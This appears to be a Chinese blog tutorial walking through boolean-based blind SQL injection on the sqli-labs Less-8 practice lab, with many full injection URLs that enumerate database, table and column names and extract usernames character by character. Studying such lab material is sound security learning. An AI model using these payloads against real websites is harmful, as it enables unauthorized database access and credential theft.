场景

sql-labs中的 Less-8

一、主要运用的mysql语法:

count()函数:统计查询结果的数量;
length(str)函数:返回字符串 str的长度;
left()函数: left(database(),1)='s'  left(a,b)从左侧截取a的前b位,正确则返回1,错误返回0left((select database()),1)='s'  同样的意思
regexp :     select user() regexp 'r';   user()的结果是root@localhost,regexp为匹配root的正则表达式
like :       select user() like 'ro%';      匹配与regexp相似
substr(a,b,c): select substr() xxxx;   substr(a,b,c)从位置b开始,截取a字符串的c位长度
mid(a,b,c):    select mid(user(),1,2);  mid(a,b,c)从位置b开始,截取a字符串的c位长度
ascii()                              将某个字符转化为其ascii值
limit 0,1  元素索引是从0开始(不是1) 从元素索引位置为1的数据(即第2位)开始输出一个值对于security库:
select left(database(),1)='s';前1位是否是s
select database() regexp 's'; 匹配第一个字符是否是s
select database() like 's%'; 匹配是否是以s开头
select substr((select database()),1,1)='s'; 匹配第一个字符是否是s
select substr((select database()),1,3)='sec'; 匹配前3个字符是否是sec
select ascii(substr((select database()),1,1)); 直接回显115 或者是空:
select ascii(substr(select database()),1,1))>110; 如果大于100,就返回1,否中返回0

二、进入正题 Less-8:

Less-8是典型的布尔型盲注!
判断语句:

http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and%201=1%20--+

2.1 注入前理清思路步骤:

2.1.1 判断出数据库名

1、首先利用count()判断出目标数据库有多少个库;
2、利用length()遍历得出每个数据库名的长度;
3、利用 left() substr() ascii()...匹配判断出数据库名;

我系统中的库:

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| challenges         |
| dvwa               |
| information_schema |
| myspace            |
| mysql              |
| performance_schema |
| security           |
| sys                |
| test               |
+--------------------+

利用 count() 判断出数据库数量:

and (select count(schema_name) from information_schema.schemata)=9 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and%20(select%20count(schema_name)%20from%20information_schema.schemata)=9%20--+

利用 length() 遍历并判断出每个库的名字长度:

and length(select schema_name from information_schema.schemata limit 0,1)=5 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and%20length((select schema_name from information_schema.schemata limit 0,1))=5 --+
匹配的是名字长度为5的数据库,即 mysql库。以上只是思路,我们重点讲解 security库,即 通过 database()返回的数据库
and length(database())=8 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and length(database())=8 --+

利用 left() substr() ascii()…匹配判断出数据库名:
由于前面通过 length() 得出 security库的长度为 8
left()

and left((database()),1)='s' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((database()),1)='s' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((database()),2)='se' --+
...
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((database()),8)='security' --+

substr()

and substr((database()),1,1)='s'  --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and substr((database()),1,1)='s'  --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and substr((database()),1,2)='se'  --+
...

ascii()
ascii(‘s’)=115

and ascii(substr((database()),1,1))>100 --+
通过"< > = "最终可判断出数据库名第一个字符的ascii值为115: 即 's'
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and ascii(substr((database()),1,1))=115 --+
...
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and ascii(substr((database()),8,1))=121 --+

2.1.2 判断出 security 中的表名

mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+

利用 count() 判断出security库中表的数量:

and (select count(table_name) from information_schema.tables where table_schema='security')=4 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and (select count(table_name) from information_schema.tables where table_schema='security')=4 --+

利用 length() 遍历并判断出每个表的名字长度:

and length(select table_name from information_schema.tables where table_schema='security' limit 0,1)=6 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+
...
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5 --+
通过控制 limit X,1 依次匹配出  emails、referers、uagents、users 四个表的名字长度。

利用 left() substr() ascii()…匹配判断出表名:
以 users 表为例:
left()

and left((select table_name from information_schema.tables where table_schema='security' limit 3,1),1)='u' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((select table_name from information_schema.tables where table_schema='security' limit 3,1),1)='u' --+
...
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((select table_name from information_schema.tables where table_schema='security' limit 3,1),5)='users' --+

substr()

and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u' --+
...
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,5)='users' --+

ascii()
ascii(‘u’)=117

and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117 --+
通过"< > = "最终可判断出数据库名第一个字符的ascii值为117: 即 'u'
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117 --+
...
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),5,1))=115 --+

2.1.3 判断出 users 中的列名

mysql> select column_name from information_schema.columns where table_schema='security' and table_name='users';
+-------------+
| COLUMN_NAME |
+-------------+
| id          |
| password    |
| username    |
+-------------+

利用 count() 判断出users表中列数量:

and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3 --+

利用 length() 遍历并判断出每个列的名字长度:

and length((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1))=2
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and length((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1))=2 --+
limit X,1 替换 X(0-2)判断出 三个列的列名长度

利用 left() substr() ascii()…匹配判断出表名:
以 username 为例:
left()

and left((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 2,1),1)='u' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 2,1),1)='u' --+
...
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 2,1),8)='username' --+

substr()

and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 2,1),1,1)='u' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 2,1),1,1)='u' --+
substr(str,a,b) 通过替换 a 或 b 的值来判断出 一个列的名字
limit X,1 替换 X(0-2)来换另一个列进行判断

ascii()
ascii(‘u’)=117

通常情况运用ascii值来判断出!
原因:left 和 substr 函数在进行BP爆破时依赖字典,如果字典里没有那个字符,则很难匹配成功!
and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),1,1))>100 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 2,1),1,1))>100 --+

2.1.4 判断出 username 列中的信息

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 13 | admin4   | admin4     |
| 14 | admin5   | admin5     |
+----+----------+------------+

利用 count() 判断出username列中信息数量:

and (select count(username) from security.users)=14 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and (select count(username) from security.users)=14 --+

利用 length() 遍历并判断出每个信息的名字长度:

and length((select username from security.users limit 0,1))=4 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and length((select username from security.users limit 0,1))=4 --+
limit X,1 替换 X(0-13)判断出 的username列14行数据长度。

利用 left() substr() ascii()…匹配判断出username第一行数据:

+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |

left()

and left((select username from security.users limit 0,1),1)='D' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((select username from security.users limit 0,1),1)='D' --+
...
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and left((select username from security.users limit 0,1),4)='Dumb' --+

substr()

and substr((select username from security.users limit 0,1),1,1)='D' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and substr((select username from security.users limit 0,1),1,1)='D' --+
substr(str,a,b) 通过替换 a 或 b 的值来判断出
limit X,1 替换 X(0-13)来换另一个数据进行判断

ascii()
ascii(‘D’)=68

and ascii(substr((select username from security.users limit 0,1),1,1))=68 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20and ascii(substr((select username from security.users limit 0,1),1,1))=68 --+
...

布尔盲注基本到此结束了!
运用left()、substr()…这些函数,可结合BurpSuite使用字典,半自动化测试!
后面还会补充时间盲注方法。。。(再不开学就得毕业了![滑稽])

时间盲注——>点击

sql注入——布尔盲注相关推荐

  1. sql注入--布尔盲注

    sql注入–布尔盲注 靶场:sqli-labs-master 下载链接:靶场下载链接 第8关 盲注 php源码 <?php //including the Mysql connect param ...

  2. SQL注入-布尔盲注

    页面没有显示位 , 没有报错信息 , 只有成功和不成功两种情况时 , 可以使用布尔盲注 本次以 SQLi LABS 第9关为案例进行讲解 布尔盲注常用的两个函数(我觉得) length('abc')  ...

  3. 【SQL注入-布尔盲注】

    SQL注入方法-布尔盲注 布尔盲注使用场景 案例演示 演示环境 源码分析 实际测试 使用布尔盲注猜解数据. 布尔盲注使用到的函数: 开始 布尔盲注使用场景 布尔型盲注应用于无数据回显,且WEB页面无报 ...

  4. SQL注入——布尔盲注,时间盲注,宽字节注入

    布尔盲注 1.布尔盲注利用前提 页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入 缺点:速度太慢,消耗大量时间 布尔盲注思维导图: 布尔盲注常用语句: su ...

  5. python实现sql宽字节注入+布尔盲注

    目录 一.注意点 二.代码 三.使用 1.获取 (简单方法) (复杂方法) 2.使用 四.测试 一.注意点 本文代码是对着pikachu漏洞靶场的宽字节注入关卡开发的,代码中的payload和参数都基 ...

  6. sql注入_1-4_post盲注

    sql注入_1-4_post盲注 一.post盲注概念 1.首先post盲注和get盲注一样,只是不会拼接到url中 2.post请求会向指定资源提交数据,请求服务器进行处理,如,表单提交,文件上传等 ...

  7. 【小迪安全】Day16web漏洞-SQL注入之盲注

    web漏洞-SQL注入之盲注 文章目录 web漏洞-SQL注入之盲注 前言 盲注类型 报错盲注 猜解数据库 猜解表 猜解字段 猜解内容 布尔盲注 猜解数据库 猜解表 猜解字段 猜解内容 延迟注入 前言 ...

  8. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  9. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

最新文章

  1. python乐观锁代码实现_Elasticsearch系列—并发控制及乐观锁实现原理
  2. java fork join原理_细说Fork/Join框架
  3. https Java SSLException protocol_version的问题解决方法
  4. restful,RESTful API 设计,GET/PUT/DELETE/POST
  5. TikTok信息流广告怎么做才有效果?我从100个营销短视频中总结了这些方法
  6. html5基础知识点常用标签
  7. MySQL判断字符串是否是数字
  8. amcharts去除版权标志
  9. 把svg图标制作成字体图标_SVG图标FTW
  10. 任正非的《北国之春》
  11. google glog 简单使用小结
  12. 青少年CTF - Misc - 上号 Wp WriteUp
  13. 怎样提高报表呈现的性能
  14. Java Thread 知识点总结
  15. React心得之降龙十八掌:第三式-见龙在田( 组件生命周期详解)
  16. MAC OS 10个技巧让你秒变MAC达人
  17. 你知道“晚安”是什么意思么?
  18. Let正版短信测压开源源码
  19. python如何将字符串转换成json的几种办法!
  20. 忆享科技受邀亮相CIS2022网络安全创新大会

热门文章

  1. 5阶魔方阵c语言程序设计,五阶魔方阵源代码c语言课到程设计.docx
  2. 爱奇艺连续三年独家直播中网赛事 打造高端体育赛事生态矩阵
  3. 故障电弧检测技术现状及难点
  4. 音量计算机的网红音乐,网红音乐10首抖音网红歌,抖音网红歌曲100首BGM精选
  5. java基础编程学习-1
  6. 购买内存需要注意看哪些
  7. 本周总结:为图片标签<img>加上 alt属性的好处
  8. 为什么手机玩我的世界进服务器会显示红字,LOL进去时显示的蓝红标志是什么 | 手游网游页游攻略大全...
  9. 阿里云ECS服务器按量付费实例怎么释放?
  10. Unity | 动画那些事儿